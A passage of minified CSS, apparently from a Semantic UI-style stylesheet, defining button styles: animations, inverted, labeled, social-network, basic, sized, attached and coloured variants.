.visible.content{-webkit-transform:translateY(200%);transform:translateY(200%);right:auto}.ui.vertical.animated.button:focus .hidden.content,.ui.vertical.animated.button:hover .hidden.content{top:50%;right:auto}.ui.fade.animated.button .hidden.content,.ui.fade.animated.button .visible.content{-webkit-transition:opacity .3s ease,-webkit-transform .3s ease;transition:opacity .3s ease,-webkit-transform .3s ease;transition:opacity .3s ease,transform .3s ease;transition:opacity .3s ease,transform .3s ease,-webkit-transform .3s ease}.ui.fade.animated.button .visible.content{left:auto;right:auto;opacity:1;-webkit-transform:scale(1);transform:scale(1)}.ui.fade.animated.button .hidden.content{opacity:0;left:0;right:auto;-webkit-transform:scale(1.5);transform:scale(1.5)}.ui.fade.animated.button:focus .visible.content,.ui.fade.animated.button:hover .visible.content{left:auto;right:auto;opacity:0;-webkit-transform:scale(.75);transform:scale(.75)}.ui.fade.animated.button:focus .hidden.content,.ui.fade.animated.button:hover .hidden.content{left:0;right:auto;opacity:1;-webkit-transform:scale(1);transform:scale(1)}.ui.inverted.button{box-shadow:0 0 0 2px #fff inset!important;background:transparent none;color:#fff;text-shadow:none!important}.ui.inverted.buttons .button{margin:0 0 0 -2px}.ui.inverted.buttons .button:first-child{margin-left:0}.ui.inverted.vertical.buttons .button{margin:0 0 -2px 0}.ui.inverted.vertical.buttons .button:first-child{margin-top:0}.ui.inverted.button:hover{background:#fff;box-shadow:0 0 0 2px #fff inset!important;color:rgba(0,0,0,.8)}.ui.inverted.button.active,.ui.inverted.button:focus{background:#fff;box-shadow:0 0 0 2px #fff inset!important;color:rgba(0,0,0,.8)}.ui.inverted.button.active:focus{background:#dcddde;box-shadow:0 0 0 2px #dcddde inset!important;color:rgba(0,0,0,.8)}.ui.labeled.button:not(.icon){display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row;background:0 0!important;padding:0!important;border:none!important;box-shadow:none!important}.ui.labeled.button>.button{margin:0}.ui.labeled.button>.label{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;margin:0 0 0 -1px!important;padding:'';font-size:1em;border-color:rgba(34,36,38,.15)}.ui.labeled.button>.tag.label:before{width:1.85em;height:1.85em}.ui.labeled.button:not([class*="left labeled"])>.button{border-top-right-radius:0;border-bottom-right-radius:0}.ui.labeled.button:not([class*="left labeled"])>.label{border-top-left-radius:0;border-bottom-left-radius:0}.ui[class*="left labeled"].button>.button{border-top-left-radius:0;border-bottom-left-radius:0}.ui[class*="left labeled"].button>.label{border-top-right-radius:0;border-bottom-right-radius:0}.ui.facebook.button{background-color:#3b5998;color:#fff;text-shadow:none;background-image:none;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.facebook.button:hover{background-color:#304d8a;color:#fff;text-shadow:none}.ui.facebook.button:active{background-color:#2d4373;color:#fff;text-shadow:none}.ui.twitter.button{background-color:#55acee;color:#fff;text-shadow:none;background-image:none;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.twitter.button:hover{background-color:#35a2f4;color:#fff;text-shadow:none}.ui.twitter.button:active{background-color:#2795e9;color:#fff;text-shadow:none}.ui.google.plus.button{background-color:#dd4b39;color:#fff;text-shadow:none;background-image:none;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.google.plus.button:hover{background-color:#e0321c;color:#fff;text-shadow:none}.ui.google.plus.button:active{background-color:#c23321;color:#fff;text-shadow:none}.ui.linkedin.button{background-color:#1f88be;color:#fff;text-shadow:none}.ui.linkedin.button:hover{background-color:#147baf;color:#fff;text-shadow:none}.ui.linkedin.button:active{background-color:#186992;color:#fff;text-shadow:none}.ui.youtube.button{background-color:#cc181e;color:#fff;text-shadow:none;background-image:none;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.youtube.button:hover{background-color:#bd0d13;color:#fff;text-shadow:none}.ui.youtube.button:active{background-color:#9e1317;color:#fff;text-shadow:none}.ui.instagram.button{background-color:#49769c;color:#fff;text-shadow:none;background-image:none;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.instagram.button:hover{background-color:#3d698e;color:#fff;text-shadow:none}.ui.instagram.button:active{background-color:#395c79;color:#fff;text-shadow:none}.ui.pinterest.button{background-color:#bd081c;color:#fff;text-shadow:none;background-image:none;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.pinterest.button:hover{background-color:#ac0013;color:#fff;text-shadow:none}.ui.pinterest.button:active{background-color:#8c0615;color:#fff;text-shadow:none}.ui.vk.button{background-color:#4d7198;color:#fff;background-image:none;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.vk.button:hover{background-color:#41648a;color:#fff}.ui.vk.button:active{background-color:#3c5876;color:#fff}.ui.button>.icon:not(.button){height:.85714286em;opacity:.8;margin:0 .42857143em 0 -.21428571em;-webkit-transition:opacity .1s ease;transition:opacity .1s ease;vertical-align:'';color:''}.ui.button:not(.icon)>.icon:not(.button):not(.dropdown){margin:0 .42857143em 0 -.21428571em}.ui.button:not(.icon)>.right.icon:not(.button):not(.dropdown){margin:0 -.21428571em 0 .42857143em}.ui[class*="left floated"].button,.ui[class*="left floated"].buttons{float:left;margin-left:0;margin-right:.25em}.ui[class*="right floated"].button,.ui[class*="right floated"].buttons{float:right;margin-right:0;margin-left:.25em}.ui.compact.button,.ui.compact.buttons .button{padding:.58928571em 1.125em .58928571em}.ui.compact.icon.button,.ui.compact.icon.buttons .button{padding:.58928571em .58928571em .58928571em}.ui.compact.labeled.icon.button,.ui.compact.labeled.icon.buttons .button{padding:.58928571em 3.69642857em .58928571em}.ui.mini.button,.ui.mini.buttons .button,.ui.mini.buttons .or{font-size:.78571429rem}.ui.tiny.button,.ui.tiny.buttons .button,.ui.tiny.buttons .or{font-size:.85714286rem}.ui.small.button,.ui.small.buttons .button,.ui.small.buttons .or{font-size:.92857143rem}.ui.button,.ui.buttons .button,.ui.buttons .or{font-size:1rem}.ui.large.button,.ui.large.buttons .button,.ui.large.buttons .or{font-size:1.14285714rem}.ui.big.button,.ui.big.buttons .button,.ui.big.buttons .or{font-size:1.28571429rem}.ui.huge.button,.ui.huge.buttons .button,.ui.huge.buttons .or{font-size:1.42857143rem}.ui.massive.button,.ui.massive.buttons .button,.ui.massive.buttons .or{font-size:1.71428571rem}.ui.icon.button,.ui.icon.buttons .button{padding:.78571429em .78571429em .78571429em}.ui.icon.button>.icon,.ui.icon.buttons .button>.icon{opacity:.9;margin:0;vertical-align:top}.ui.basic.button,.ui.basic.buttons .button{background:transparent none!important;color:rgba(0,0,0,.6)!important;font-weight:400;border-radius:.28571429rem;text-transform:none;text-shadow:none!important;box-shadow:0 0 0 1px rgba(34,36,38,.15) inset}.ui.basic.buttons{box-shadow:none;border:1px solid rgba(34,36,38,.15);border-radius:.28571429rem}.ui.basic.buttons .button{border-radius:0}.ui.basic.button:hover,.ui.basic.buttons .button:hover{background:#fff!important;color:rgba(0,0,0,.8)!important;box-shadow:0 0 0 1px rgba(34,36,38,.35) inset,0 0 0 0 rgba(34,36,38,.15) inset}.ui.basic.button:focus,.ui.basic.buttons .button:focus{background:#fff!important;color:rgba(0,0,0,.8)!important;box-shadow:0 0 0 1px rgba(34,36,38,.35) inset,0 0 0 0 rgba(34,36,38,.15) inset}.ui.basic.button:active,.ui.basic.buttons .button:active{background:#f8f8f8!important;color:rgba(0,0,0,.9)!important;box-shadow:0 0 0 1px rgba(0,0,0,.15) inset,0 1px 4px 0 rgba(34,36,38,.15) inset}.ui.basic.active.button,.ui.basic.buttons .active.button{background:rgba(0,0,0,.05)!important;box-shadow:''!important;color:rgba(0,0,0,.95);box-shadow:rgba(34,36,38,.35)}.ui.basic.active.button:hover,.ui.basic.buttons .active.button:hover{background-color:rgba(0,0,0,.05)}.ui.basic.buttons .button:hover{box-shadow:0 0 0 1px rgba(34,36,38,.35) inset,0 0 0 0 rgba(34,36,38,.15) inset inset}.ui.basic.buttons .button:active{box-shadow:0 0 0 1px rgba(0,0,0,.15) inset,0 1px 4px 0 rgba(34,36,38,.15) inset inset}.ui.basic.buttons .active.button{box-shadow:rgba(34,36,38,.35) inset}.ui.basic.inverted.button,.ui.basic.inverted.buttons .button{background-color:transparent!important;color:#f9fafb!important;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important}.ui.basic.inverted.button:hover,.ui.basic.inverted.buttons .button:hover{color:#fff!important;box-shadow:0 0 0 2px #fff inset!important}.ui.basic.inverted.button:focus,.ui.basic.inverted.buttons .button:focus{color:#fff!important;box-shadow:0 0 0 2px #fff inset!important}.ui.basic.inverted.button:active,.ui.basic.inverted.buttons .button:active{background-color:rgba(255,255,255,.08)!important;color:#fff!important;box-shadow:0 0 0 2px rgba(255,255,255,.9) inset!important}.ui.basic.inverted.active.button,.ui.basic.inverted.buttons .active.button{background-color:rgba(255,255,255,.08);color:#fff;text-shadow:none;box-shadow:0 0 0 2px rgba(255,255,255,.7) inset}.ui.basic.inverted.active.button:hover,.ui.basic.inverted.buttons .active.button:hover{background-color:rgba(255,255,255,.15);box-shadow:0 0 0 2px #fff inset!important}.ui.basic.buttons .button{border-left:1px solid rgba(34,36,38,.15);box-shadow:none}.ui.basic.vertical.buttons .button{border-left:none}.ui.basic.vertical.buttons .button{border-left-width:0;border-top:1px solid rgba(34,36,38,.15)}.ui.basic.vertical.buttons .button:first-child{border-top-width:0}.ui.labeled.icon.button,.ui.labeled.icon.buttons .button{position:relative;padding-left:4.07142857em!important;padding-right:1.5em!important}.ui.labeled.icon.button>.icon,.ui.labeled.icon.buttons>.button>.icon{position:absolute;height:100%;line-height:1;border-radius:0;border-top-left-radius:inherit;border-bottom-left-radius:inherit;text-align:center;margin:0;width:2.57142857em;background-color:rgba(0,0,0,.05);color:'';box-shadow:-1px 0 0 0 transparent inset}.ui.labeled.icon.button>.icon,.ui.labeled.icon.buttons>.button>.icon{top:0;left:0}.ui[class*="right labeled"].icon.button{padding-right:4.07142857em!important;padding-left:1.5em!important}.ui[class*="right labeled"].icon.button>.icon{left:auto;right:0;border-radius:0;border-top-right-radius:inherit;border-bottom-right-radius:inherit;box-shadow:1px 0 0 0 transparent inset}.ui.labeled.icon.button>.icon:after,.ui.labeled.icon.button>.icon:before,.ui.labeled.icon.buttons>.button>.icon:after,.ui.labeled.icon.buttons>.button>.icon:before{display:block;position:absolute;width:100%;top:50%;text-align:center;-webkit-transform:translateY(-50%);transform:translateY(-50%)}.ui.labeled.icon.buttons .button>.icon{border-radius:0}.ui.labeled.icon.buttons .button:first-child>.icon{border-top-left-radius:.28571429rem;border-bottom-left-radius:.28571429rem}.ui.labeled.icon.buttons .button:last-child>.icon{border-top-right-radius:.28571429rem;border-bottom-right-radius:.28571429rem}.ui.vertical.labeled.icon.buttons .button:first-child>.icon{border-radius:0;border-top-left-radius:.28571429rem}.ui.vertical.labeled.icon.buttons .button:last-child>.icon{border-radius:0;border-bottom-left-radius:.28571429rem}.ui.fluid[class*="left labeled"].icon.button,.ui.fluid[class*="right labeled"].icon.button{padding-left:1.5em!important;padding-right:1.5em!important}.ui.button.toggle.active,.ui.buttons .button.toggle.active,.ui.toggle.buttons .active.button{background-color:#21ba45!important;box-shadow:none!important;text-shadow:none;color:#fff!important}.ui.button.toggle.active:hover{background-color:#16ab39!important;text-shadow:none;color:#fff!important}.ui.circular.button{border-radius:10em}.ui.circular.button>.icon{width:1em;vertical-align:baseline}.ui.buttons .or{position:relative;width:.3em;height:2.57142857em;z-index:3}.ui.buttons .or:before{position:absolute;text-align:center;border-radius:500rem;content:'or';top:50%;left:50%;background-color:#fff;text-shadow:none;margin-top:-.89285714em;margin-left:-.89285714em;width:1.78571429em;height:1.78571429em;line-height:1.78571429em;color:rgba(0,0,0,.4);font-style:normal;font-weight:700;box-shadow:0 0 0 1px transparent inset}.ui.buttons .or[data-text]:before{content:attr(data-text)}.ui.fluid.buttons .or{width:0!important}.ui.fluid.buttons .or:after{display:none}.ui.attached.button{position:relative;display:block;margin:0;border-radius:0;box-shadow:0 0 0 1px rgba(34,36,38,.15)!important}.ui.attached.top.button{border-radius:.28571429rem .28571429rem 0 0}.ui.attached.bottom.button{border-radius:0 0 .28571429rem .28571429rem}.ui.left.attached.button{display:inline-block;border-left:none;text-align:right;padding-right:.75em;border-radius:.28571429rem 0 0 .28571429rem}.ui.right.attached.button{display:inline-block;text-align:left;padding-left:.75em;border-radius:0 .28571429rem .28571429rem 0}.ui.attached.buttons{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;border-radius:0;width:auto!important;z-index:2;margin-left:-1px;margin-right:-1px}.ui.attached.buttons .button{margin:0}.ui.attached.buttons .button:first-child{border-radius:0}.ui.attached.buttons .button:last-child{border-radius:0}.ui[class*="top attached"].buttons{margin-bottom:-1px;border-radius:.28571429rem .28571429rem 0 0}.ui[class*="top attached"].buttons .button:first-child{border-radius:.28571429rem 0 0 0}.ui[class*="top attached"].buttons .button:last-child{border-radius:0 .28571429rem 0 0}.ui[class*="bottom attached"].buttons{margin-top:-1px;border-radius:0 0 .28571429rem .28571429rem}.ui[class*="bottom attached"].buttons .button:first-child{border-radius:0 0 0 .28571429rem}.ui[class*="bottom attached"].buttons .button:last-child{border-radius:0 0 .28571429rem 0}.ui[class*="left attached"].buttons{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;margin-right:0;margin-left:-1px;border-radius:0 .28571429rem .28571429rem 0}.ui[class*="left attached"].buttons .button:first-child{margin-left:-1px;border-radius:0 .28571429rem 0 0}.ui[class*="left attached"].buttons .button:last-child{margin-left:-1px;border-radius:0 0 .28571429rem 0}.ui[class*="right attached"].buttons{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;margin-left:0;margin-right:-1px;border-radius:.28571429rem 0 0 .28571429rem}.ui[class*="right attached"].buttons .button:first-child{margin-left:-1px;border-radius:.28571429rem 0 0 0}.ui[class*="right attached"].buttons .button:last-child{margin-left:-1px;border-radius:0 0 0 .28571429rem}.ui.fluid.button,.ui.fluid.buttons{width:100%}.ui.fluid.button{display:block}.ui.two.buttons{width:100%}.ui.two.buttons>.button{width:50%}.ui.three.buttons{width:100%}.ui.three.buttons>.button{width:33.333%}.ui.four.buttons{width:100%}.ui.four.buttons>.button{width:25%}.ui.five.buttons{width:100%}.ui.five.buttons>.button{width:20%}.ui.six.buttons{width:100%}.ui.six.buttons>.button{width:16.666%}.ui.seven.buttons{width:100%}.ui.seven.buttons>.button{width:14.285%}.ui.eight.buttons{width:100%}.ui.eight.buttons>.button{width:12.5%}.ui.nine.buttons{width:100%}.ui.nine.buttons>.button{width:11.11%}.ui.ten.buttons{width:100%}.ui.ten.buttons>.button{width:10%}.ui.eleven.buttons{width:100%}.ui.eleven.buttons>.button{width:9.09%}.ui.twelve.buttons{width:100%}.ui.twelve.buttons>.button{width:8.3333%}.ui.fluid.vertical.buttons,.ui.fluid.vertical.buttons>.button{display:-webkit-box;display:-ms-flexbox;display:flex;width:auto}.ui.two.vertical.buttons>.button{height:50%}.ui.three.vertical.buttons>.button{height:33.333%}.ui.four.vertical.buttons>.button{height:25%}.ui.five.vertical.buttons>.button{height:20%}.ui.six.vertical.buttons>.button{height:16.666%}.ui.seven.vertical.buttons>.button{height:14.285%}.ui.eight.vertical.buttons>.button{height:12.5%}.ui.nine.vertical.buttons>.button{height:11.11%}.ui.ten.vertical.buttons>.button{height:10%}.ui.eleven.vertical.buttons>.button{height:9.09%}.ui.twelve.vertical.buttons>.button{height:8.3333%}.ui.black.button,.ui.black.buttons .button{background-color:#1b1c1d;color:#fff;text-shadow:none;background-image:none}.ui.black.button{box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.black.button:hover,.ui.black.buttons .button:hover{background-color:#27292a;color:#fff;text-shadow:none}.ui.black.button:focus,.ui.black.buttons .button:focus{background-color:#2f3032;color:#fff;text-shadow:none}.ui.black.button:active,.ui.black.buttons .button:active{background-color:#343637;color:#fff;text-shadow:none}.ui.black.active.button,.ui.black.button .active.button:active,.ui.black.buttons .active.button,.ui.black.buttons .active.button:active{background-color:#0f0f10;color:#fff;text-shadow:none}.ui.basic.black.button,.ui.basic.black.buttons .button{box-shadow:0 0 0 1px #1b1c1d inset!important;color:#1b1c1d!important}.ui.basic.black.button:hover,.ui.basic.black.buttons .button:hover{background:0 0!important;box-shadow:0 0 0 1px #27292a inset!important;color:#27292a!important}.ui.basic.black.button:focus,.ui.basic.black.buttons .button:focus{background:0 0!important;box-shadow:0 0 0 1px #2f3032 inset!important;color:#27292a!important}.ui.basic.black.active.button,.ui.basic.black.buttons .active.button{background:0 0!important;box-shadow:0 0 0 1px #0f0f10 inset!important;color:#343637!important}.ui.basic.black.button:active,.ui.basic.black.buttons .button:active{box-shadow:0 0 0 1px #343637 inset!important;color:#343637!important}.ui.buttons:not(.vertical)>.basic.black.button:not(:first-child){margin-left:-1px}.ui.inverted.black.button,.ui.inverted.black.buttons .button{background-color:transparent;box-shadow:0 0 0 2px #d4d4d5 inset!important;color:#fff}.ui.inverted.black.button.active,.ui.inverted.black.button:active,.ui.inverted.black.button:focus,.ui.inverted.black.button:hover,.ui.inverted.black.buttons .button.active,.ui.inverted.black.buttons .button:active,.ui.inverted.black.buttons .button:focus,.ui.inverted.black.buttons .button:hover{box-shadow:none!important;color:#fff}.ui.inverted.black.button:hover,.ui.inverted.black.buttons .button:hover{background-color:#000}.ui.inverted.black.button:focus,.ui.inverted.black.buttons .button:focus{background-color:#000}.ui.inverted.black.active.button,.ui.inverted.black.buttons .active.button{background-color:#000}.ui.inverted.black.button:active,.ui.inverted.black.buttons .button:active{background-color:#000}.ui.inverted.black.basic.button,.ui.inverted.black.basic.buttons .button,.ui.inverted.black.buttons .basic.button{background-color:transparent;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#fff!important}.ui.inverted.black.basic.button:hover,.ui.inverted.black.basic.buttons .button:hover,.ui.inverted.black.buttons .basic.button:hover{box-shadow:0 0 0 2px #000 inset!important;color:#fff!important}.ui.inverted.black.basic.button:focus,.ui.inverted.black.basic.buttons .button:focus{box-shadow:0 0 0 2px #000 inset!important;color:#545454!important}.ui.inverted.black.basic.active.button,.ui.inverted.black.basic.buttons .active.button,.ui.inverted.black.buttons .basic.active.button{box-shadow:0 0 0 2px #000 inset!important;color:#fff!important}.ui.inverted.black.basic.button:active,.ui.inverted.black.basic.buttons .button:active,.ui.inverted.black.buttons .basic.button:active{box-shadow:0 0 0 2px #000 inset!important;color:#fff!important}.ui.grey.button,.ui.grey.buttons .button{background-color:#767676;color:#fff;text-shadow:none;background-image:none}.ui.grey.button{box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.grey.button:hover,.ui.grey.buttons .button:hover{background-color:#838383;color:#fff;text-shadow:none}.ui.grey.button:focus,.ui.grey.buttons .button:focus{background-color:#8a8a8a;color:#fff;text-shadow:none}.ui.grey.button:active,.ui.grey.buttons .button:active{background-color:#909090;color:#fff;text-shadow:none}.ui.grey.active.button,.ui.grey.button .active.button:active,.ui.grey.buttons .active.button,.ui.grey.buttons .active.button:active{background-color:#696969;color:#fff;text-shadow:none}.ui.basic.grey.button,.ui.basic.grey.buttons .button{box-shadow:0 0 0 1px #767676 inset!important;color:#767676!important}.ui.basic.grey.button:hover,.ui.basic.grey.buttons .button:hover{background:0 0!important;box-shadow:0 0 0 1px #838383 inset!important;color:#838383!important}.ui.basic.grey.button:focus,.ui.basic.grey.buttons .button:focus{background:0 0!important;box-shadow:0 0 0 1px #8a8a8a inset!important;color:#838383!important}.ui.basic.grey.active.button,.ui.basic.grey.buttons .active.button{background:0 0!important;box-shadow:0 0 0 1px #696969 inset!important;color:#909090!important}.ui.basic.grey.button:active,.ui.basic.grey.buttons .button:active{box-shadow:0 0 0 1px #909090 inset!important;color:#909090!important}.ui.buttons:not(.vertical)>.basic.grey.button:not(:first-child){margin-left:-1px}.ui.inverted.grey.button,.ui.inverted.grey.buttons .button{background-color:transparent;box-shadow:0 0 0 2px #d4d4d5 inset!important;color:#fff}.ui.inverted.grey.button.active,.ui.inverted.grey.button:active,.ui.inverted.grey.button:focus,.ui.inverted.grey.button:hover,.ui.inverted.grey.buttons .button.active,.ui.inverted.grey.buttons .button:active,.ui.inverted.grey.buttons .button:focus,.ui.inverted.grey.buttons .button:hover{box-shadow:none!important;color:rgba(0,0,0,.6)}.ui.inverted.grey.button:hover,.ui.inverted.grey.buttons .button:hover{background-color:#cfd0d2}.ui.inverted.grey.button:focus,.ui.inverted.grey.buttons .button:focus{background-color:#c7c9cb}.ui.inverted.grey.active.button,.ui.inverted.grey.buttons .active.button{background-color:#cfd0d2}.ui.inverted.grey.button:active,.ui.inverted.grey.buttons .button:active{background-color:#c2c4c5}.ui.inverted.grey.basic.button,.ui.inverted.grey.basic.buttons .button,.ui.inverted.grey.buttons .basic.button{background-color:transparent;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#fff!important}.ui.inverted.grey.basic.button:hover,.ui.inverted.grey.basic.buttons .button:hover,.ui.inverted.grey.buttons .basic.button:hover{box-shadow:0 0 0 2px #cfd0d2 inset!important;color:#fff!important}.ui.inverted.grey.basic.button:focus,.ui.inverted.grey.basic.buttons .button:focus{box-shadow:0 0 0 2px #c7c9cb inset!important;color:#dcddde!important}.ui.inverted.grey.basic.active.button,.ui.inverted.grey.basic.buttons .active.button,.ui.inverted.grey.buttons .basic.active.button{box-shadow:0 0 0 2px #cfd0d2 inset!important;color:#fff!important}.ui.inverted.grey.basic.button:active,.ui.inverted.grey.basic.buttons .button:active,.ui.inverted.grey.buttons .basic.button:active{box-shadow:0 0 0 2px #c2c4c5 inset!important;color:#fff!important}.ui.brown.button,.ui.brown.buttons .button{background-color:#a5673f;color:#fff;text-shadow:none;background-image:none}.ui.brown.button{box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.brown.button:hover,.ui.brown.buttons .button:hover{background-color:#975b33;color:#fff;text-shadow:none}.ui.brown.button:focus,.ui.brown.buttons .button:focus{background-color:#90532b;color:#fff;text-shadow:none}.ui.brown.button:active,.ui.brown.buttons .button:active{background-color:#805031;color:#fff;text-shadow:none}.ui.brown.active.button,.ui.brown.button .active.button:active,.ui.brown.buttons .active.button,.ui.brown.buttons .active.button:active{background-color:#995a31;color:#fff;text-shadow:none}.ui.basic.brown.button,.ui.basic.brown.buttons .button{box-shadow:0 0 0 1px #a5673f inset!important;color:#a5673f!important}.ui.basic.brown.button:hover,.ui.basic.brown.buttons .button:hover{background:0 0!important;box-shadow:0 0 0 1px #975b33 inset!important;color:#975b33!important}.ui.basic.brown.button:focus,.ui.basic.brown.buttons .button:focus{background:0 0!important;box-shadow:0 0 0 1px #90532b inset!important;color:#975b33!important}.ui.basic.brown.active.button,.ui.basic.brown.buttons .active.button{background:0 0!important;box-shadow:0 0 0 1px #995a31 inset!important;color:#805031!important}.ui.basic.brown.button:active,.ui.basic.brown.buttons .button:active{box-shadow:0 0 0 1px #805031 inset!important;color:#805031!important}.ui.buttons:not(.vertical)>.basic.brown.button:not(:first-child){margin-left:-1px}.ui.inverted.brown.button,.ui.inverted.brown.buttons .button{background-color:transparent;box-shadow:0 0 0 2px #d67c1c inset!important;color:#d67c1c}.ui.inverted.brown.button.active,.ui.inverted.brown.button:active,.ui.inverted.brown.button:focus,.ui.inverted.brown.button:hover,.ui.inverted.brown.buttons .button.active,.ui.inverted.brown.buttons .button:active,.ui.inverted.brown.buttons .button:focus,.ui.inverted.brown.buttons .button:hover{box-shadow:none!important;color:#fff}.ui.inverted.brown.button:hover,.ui.inverted.brown.buttons .button:hover{background-color:#c86f11}.ui.inverted.brown.button:focus,.ui.inverted.brown.buttons .button:focus{background-color:#c16808}.ui.inverted.brown.active.button,.ui.inverted.brown.buttons .active.button{background-color:#cc6f0d}.ui.inverted.brown.button:active,.ui.inverted.brown.buttons .button:active{background-color:#a96216}.ui.inverted.brown.basic.button,.ui.inverted.brown.basic.buttons .button,.ui.inverted.brown.buttons .basic.button{background-color:transparent;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#fff!important}.ui.inverted.brown.basic.button:hover,.ui.inverted.brown.basic.buttons .button:hover,.ui.inverted.brown.buttons .basic.button:hover{box-shadow:0 0 0 2px #c86f11 inset!important;color:#d67c1c!important}.ui.inverted.brown.basic.button:focus,.ui.inverted.brown.basic.buttons .button:focus{box-shadow:0 0 0 2px #c16808 inset!important;color:#d67c1c!important}.ui.inverted.brown.basic.active.button,.ui.inverted.brown.basic.buttons .active.button,.ui.inverted.brown.buttons .basic.active.button{box-shadow:0 0 0 2px #cc6f0d inset!important;color:#d67c1c!important}.ui.inverted.brown.basic.button:active,.ui.inverted.brown.basic.buttons .button:active,.ui.inverted.brown.buttons .basic.button:active{box-shadow:0 0 0 2px #a96216 inset!important;color:#d67c1c!important}.ui.blue.button,.ui.blue.buttons .button{background-color:#2185d0;color:#fff;text-shadow:none;background-image:none}.ui.blue.button{box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.blue.button:hover,.ui.blue.buttons .button:hover{background-color:#1678c2;color:#fff;text-shadow:none}.ui.blue.button:focus,.ui.blue.buttons .button:focus{background-color:#0d71bb;color:#fff;text-shadow:none}.ui.blue.button:active,.ui.blue.buttons .button:active{background-color:#1a69a4;color:#fff;text-shadow:none}.ui.blue.active.button,.ui.blue.button .active.button:active,.ui.blue.buttons .active.button,.ui.blue.buttons .active.button:active{background-color:#1279c6;color:#fff;text-shadow:none}.ui.basic.blue.button,.ui.basic.blue.buttons .button{box-shadow:0 0 0 1px #2185d0 inset!important;color:#2185d0!important}.ui.basic.blue.button:hover,.ui.basic.blue.buttons .button:hover{background:0 0!important;box-shadow:0 0 0 1px #1678c2 inset!important;color:#1678c2!important}.ui.basic.blue.button:focus,.ui.basic.blue.buttons .button:focus{background:0 0!important;box-shadow:0 0 0 1px #0d71bb inset!important;color:#1678c2!important}.ui.basic.blue.active.button,.ui.basic.blue.buttons .active.button{background:0 0!important;box-shadow:0 0 0 1px #1279c6 inset!important;color:#1a69a4!important}.ui.basic.blue.button:active,.ui.basic.blue.buttons .button:active{box-shadow:0 0 0 1px #1a69a4 inset!important;color:#1a69a4!important}.ui.buttons:not(.vertical)>.basic.blue.button:not(:first-child){margin-left:-1px}.ui.inverted.blue.button,.ui.inverted.blue.buttons .button{background-color:transparent;box-shadow:0 0 0 2px #54c8ff inset!important;color:#54c8ff}.ui.inverted.blue.button.active,.ui.inverted.blue.button:active,.ui.inverted.blue.button:focus,.ui.inverted.blue.button:hover,.ui.inverted.blue.buttons .button.active,.ui.inverted.blue.buttons .button:active,.ui.inverted.blue.buttons .button:focus,.ui.inverted.blue.buttons .button:hover{box-shadow:none!important;color:#fff}.ui.inverted.blue.button:hover,.ui.inverted.blue.buttons .button:hover{background-color:#3ac0ff}.ui.inverted.blue.button:focus,.ui.inverted.blue.buttons .button:focus{background-color:#2bbbff}.ui.inverted.blue.active.button,.ui.inverted.blue.buttons .active.button{background-color:#3ac0ff}.ui.inverted.blue.button:active,.ui.inverted.blue.buttons .button:active{background-color:#21b8ff}.ui.inverted.blue.basic.button,.ui.inverted.blue.basic.buttons .button,.ui.inverted.blue.buttons .basic.button{background-color:transparent;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#fff!important}.ui.inverted.blue.basic.button:hover,.ui.inverted.blue.basic.buttons .button:hover,.ui.inverted.blue.buttons .basic.button:hover{box-shadow:0 0 0 2px #3ac0ff inset!important;color:#54c8ff!important}.ui.inverted.blue.basic.button:focus,.ui.inverted.blue.basic.buttons .button:focus{box-shadow:0 0 0 2px #2bbbff inset!important;color:#54c8ff!important}.ui.inverted.blue.basic.active.button,.ui.inverted.blue.basic.buttons .active.button,.ui.inverted.blue.buttons .basic.active.button{box-shadow:0 0 0 2px #3ac0ff inset!important;color:#54c8ff!important}.ui.inverted.blue.basic.button:active,.ui.inverted.blue.basic.buttons .button:active,.ui.inverted.blue.buttons .basic.button:active{box-shadow:0 0 0 2px #21b8ff inset!important;color:#54c8ff!important}.ui.green.button,.ui.green.buttons .button{background-color:#21ba45;color:#fff;text-shadow:none;background-image:none}.ui.green.button{box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.green.button:hover,.ui.green.buttons .button:hover{background-color:#16ab39;color:#fff;text-shadow:none}.ui.green.button:focus,.ui.green.buttons .button:focus{background-color:#0ea432;color:#fff;text-shadow:none}.ui.green.button:active,.ui.green.buttons .button:active{background-color:#198f35;color:#fff;text-shadow:none}.ui.green.active.button,.ui.green.button .active.button:active,.ui.green.buttons .active.button,.ui.green.buttons .active.button:active{background-color:#13ae38;color:#fff;text-shadow:none}.ui.basic.green.button,.ui.basic.green.buttons .button{box-shadow:0 0 0 1px #21ba45 inset!important;color:#21ba45!important}.ui.basic.green.button:hover,.ui.basic.green.buttons .button:hover{background:0 0!important;box-shadow:0 0 0 1px #16ab39 inset!important;color:#16ab39!important}.ui.basic.green.button:focus,.ui.basic.green.buttons .button:focus{background:0 0!important;box-shadow:0 0 0 1px #0ea432 inset!important;color:#16ab39!important}.ui.basic.green.active.button,.ui.basic.green.buttons .active.button{background:0 0!important;box-shadow:0 0 0 1px #13ae38 inset!important;color:#198f35!important}.ui.basic.green.button:active,.ui.basic.green.buttons .button:active{box-shadow:0 0 0 1px #198f35 inset!important;color:#198f35!important}.ui.buttons:not(.vertical)>.basic.green.button:not(:first-child){margin-left:-1px}.ui.inverted.green.button,.ui.inverted.green.buttons .button{background-color:transparent;box-shadow:0 0 0 2px #2ecc40 